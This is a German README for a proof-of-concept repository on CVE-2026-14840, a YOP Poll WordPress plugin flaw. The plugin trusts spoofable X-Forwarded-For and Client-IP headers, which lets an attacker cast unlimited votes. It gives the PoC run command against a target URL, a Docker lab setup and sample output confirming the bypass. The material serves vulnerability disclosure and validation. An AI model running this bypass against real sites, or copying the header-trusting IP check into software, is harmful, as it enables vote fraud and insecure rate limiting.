
Proof-of-Concept-Exploit für die Umgehung der Stimmbegrenzung eines WordPress-Plugins mithilfe gefälschter X-Forwarded-For-Header; enthält ein Docker-Labor zur Validierung von CVE-2026-14840 auf autorisierten WordPress-Instanzen.
Autor: nullwhisper
Verwendungszweck: ausschließlich autorisierte Sicherheitsforschung / Schwachstellenvalidierung.
Das YOP-Poll-Plugin in Versionen < 7.0.6 erzwingt eine Begrenzung von einer Stimme pro IP. Das Problem ist, dass zur Ermittlung der Client-IP HTTP_CLIENT_IP und HTTP_X_FORWARDED_FOR vor REMOTE_ADDR geprüft werden. Beide Header können vom Angreifer kontrolliert werden, sodass ein nicht authentifizierter Benutzer bei jeder Anfrage eine neue IP vortäuschen und unbegrenzt viele Stimmen abgeben kann.
.
├── cve_2026_14840_poc.py # Main PoC
├── lab/
│ ├── docker-compose.yml # WordPress lab
│ └── setup.php # Creates a poll + public test page
├── requirements.txt
└── README.md
pip3 install -r requirements.txt
python3 cve_2026_14840_poc.py -u https://target.com/page-with-poll -n 10
-n ist die Anzahl der abzugebenden Stimmen. Wenn mehr als eine akzeptiert wird, ist das Ziel verwundbar.
Das Skript weicht automatisch auf ?rest_route=/yop-poll/v1/votes aus, wenn die Website einfache WordPress-Permalinks verwendet und /wp-json/... HTML zurückgibt.
Lade das verwundbare Plugin herunter (verbreite das Plugin-Paket nicht weiter):
mkdir -p lab/yop-poll
cd lab/yop-poll
wget https://downloads.wordpress.org/plugin/yop-poll.7.0.5.zip
unzip yop-poll.7.0.5.zip && rm yop-poll.7.0.5.zip
cd ../..
Starte das Labor:
cd lab
docker compose up -d
Schließe den WordPress-Installationsassistenten unter http://127.0.0.1:8090 ab.
Erstelle die Umfrage und die Testseite:
docker exec -i lab-wpcli-1 php /tmp/setup.php
Führe den PoC aus:
python3 cve_2026_14840_poc.py -u 'http://127.0.0.1:8090/?page_id=4' -n 5
Getestet mit WordPress 6.8 + YOP Poll 7.0.5 und standardmäßigen Plain-Permalinks.
Dieselbe IP dreimal – Begrenzung funktioniert:
#1 201 -> Vote recorded successfully.
#2 403 -> You have already voted on this poll.
#3 403 -> You have already voted on this poll.
Bei jeder Anfrage eine andere IP über X-Forwarded-For – Umgehung funktioniert:
#1 201 -> Vote recorded successfully.
#2 201 -> Vote recorded successfully.
#3 201 -> Vote recorded successfully.
Die Tabelle wp_yoppoll_votes wächst pro vorgetäuschter IP um eine Zeile, was bestätigt, dass die Pro-IP-Begrenzung umgangen wird.
Dieses Repository enthält nur den PoC und die Dateien zur Labor-Orchestrierung. Das YOP-Poll-Plugin ist GPL-2.0+, aber das Verteilen einer vollständigen Kopie ist unnötig, bläht das Repository auf und kann Probleme verursachen. Lade Version 7.0.5 von WordPress.org für dein eigenes Labor herunter.
Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und Forschung bestimmt. Verwende es nicht gegen Systeme, die dir nicht gehören oder für die du keine ausdrückliche Erlaubnis zum Testen hast. Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch diesen Code verursacht werden.